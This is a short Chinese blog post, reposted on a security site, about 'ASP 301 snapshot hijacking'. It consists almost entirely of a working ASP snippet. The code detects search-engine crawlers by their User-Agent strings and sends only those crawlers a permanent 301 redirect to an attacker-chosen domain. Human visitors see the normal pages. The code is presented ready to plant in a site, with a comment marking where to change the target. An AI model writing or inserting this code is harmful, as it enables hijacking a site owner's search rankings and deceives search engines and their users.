继续完善asp的301快照劫持

暗月博客 2019年11月21日20:59:08评论364 views字数 849阅读2分49秒阅读模式
<% Function GetLocationURL()  Dim Url  Dim ScriptName,QueryString  ScriptName = Request.ServerVariables("SCRIPT_NAME")  QueryString = Request.ServerVariables("QUERY_STRING") if ScriptName = "/index.asp" then     if QueryString = "" then         GetLocationURL = "/"     else         GetLocationURL = ScriptName&"?"&QueryString     end if else     if QueryString = "" then         GetLocationURL = ScriptName     else         GetLocationURL = ScriptName&"?"&QueryString       end if end if   End Function     If isspider() then     Response.Status="301 Moved Permanently"     Response.AddHeader "Location","http://www.hackblog.cn"& GetLocationURL() '在这里修改要跳转到的网页     Response.End End if    function isspider() dim agent,searray,i agent="agent:"&LCase(request.servervariables("http_user_agent")) searray=array("googlebot","spider","sogou","yahoo","soso","baidu","360") isspider = false for i=0 to ubound(searray)  if (instr(agent,searray(i))>0) then isspider=true next end function    %>

http://www.hackblog.cn/post/48.html

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
暗月博客
  • 本文由 发表于 2019年11月21日20:59:08
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   继续完善asp的301快照劫持http://cn-sec.com/archives/72120.html

发表评论

匿名网友 填写信息